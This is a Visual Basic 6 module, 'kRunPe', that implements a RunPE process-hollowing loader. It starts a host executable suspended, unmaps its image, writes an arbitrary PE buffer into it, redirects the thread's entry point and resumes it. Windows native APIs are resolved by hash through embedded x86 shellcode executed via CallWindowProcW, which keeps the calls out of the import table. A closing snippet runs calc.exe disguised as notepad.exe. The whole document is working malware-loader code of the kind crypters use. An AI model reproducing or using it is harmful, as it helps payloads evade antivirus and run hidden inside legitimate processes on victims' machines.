Option Explicit
Option Base 0
 
'---------------------------------------------------------------------------------------
' Module    : kRunPe
' Author    : Karcrack
' Date      : 230710
' Purpose   : Shortest way to Run PE from ByteArray
'---------------------------------------------------------------------------------------
 
Private Type DWORD_L
    D1                          As Long
End Type
 
Private Type DWORD_B
    B1      As Byte:    B2      As Byte
    B3      As Byte:    B4      As Byte
End Type
 
'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
 
Private bInitialized_Inv        As Boolean
Private ASM_gAPIPTR(170)        As Byte
Private ASM_cCODE(255)          As Byte
 
Private Const KERNEL32          As String = "KERNEL32"
Private Const NTDLL             As String = "NTDLL"
 
Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
    Dim hModuleBase             As Long
    Dim hPE                     As Long
    Dim hSec                    As Long
    Dim ImageBase               As Long
    Dim i                       As Long
    Dim tSTARTUPINFO(16)        As Long
    Dim tPROCESS_INFORMATION(3) As Long
    Dim tCONTEXT(50)            As Long
 
    hModuleBase = VarPtr(bvBuff(0))
 
    If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function
 
    hPE = hModuleBase + GetNumb(hModuleBase + &H3C)
 
    If Not GetNumb(hPE) = &H4550 Then Exit Function
 
    ImageBase = GetNumb(hPE + &H34)
 
    tSTARTUPINFO(0) = &H44
    'CreateProcessW@KERNEL32
    Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
    'NtUnmapViewOfSection@NTDLL
    Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
    'NtAllocateVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40)
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0)
 
    For i = 0 To GetNumb(hPE + &H6, 2) - 1
        hSec = hPE + &HF8 + (&H28 * i)
 
        'NtWriteVirtualMemory@NTDLL
        Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0)
    Next i
 
    tCONTEXT(0) = &H10007
    'NtGetContextThread@NTDLL
    Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0)
 
    tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28)
 
    'NtSetContextThread@NTDLL
    Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtResumeThread@NTDLL
    Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
 
    hProcess = tPROCESS_INFORMATION(0)
    RunPE = True
End Function
 
Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
End Function
 
Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                   As Variant
    Dim bsTmp                   As DWORD_B
    Dim lAPI                    As Long
    Dim i                       As Long
    Dim w                       As Long
 
    If Not bInitialized_Inv Then
        For i = 0 To 170
            ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
                            &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
        Next i
        i = 0
        bInitialized_Inv = True
    End If
 
    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
 
    If lAPI Then
        For w = UBound(vParams) To LBound(vParams) Step -1
            bsTmp = SliceLong(CLng(vParams(w)))
            '// PUSH ADDR
            Call PutByte(&H68, i)
            Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
            Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        Next w
 
        bsTmp = SliceLong(lAPI)
        '// MOV EAX, ADDR
        Call PutByte(&HB8, i)
        Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
        Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        '// CALL EAX
        Call PutByte(&HFF, i):      Call PutByte(&HD0, i)
        '// RET
        Call PutByte(&HC3, i)
 
        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
    End If
End Function
 
Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long)
    ASM_cCODE(iCounter) = bByte
    iCounter = iCounter + 1
End Sub
 
Private Function SliceLong(ByVal lLong As Long) As DWORD_B
    Dim tL                      As DWORD_L
 
    tL.D1 = lLong
    LSet SliceLong = tL
End Function

    Dim x()     As Byte
    Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1
        ReDim x(0 To LOF(1) - 1)
        Get #1, , x
    Close #1
    Call RunPE(x, Environ$("WINDIR") & "\SYSTEM32\notepad.exe")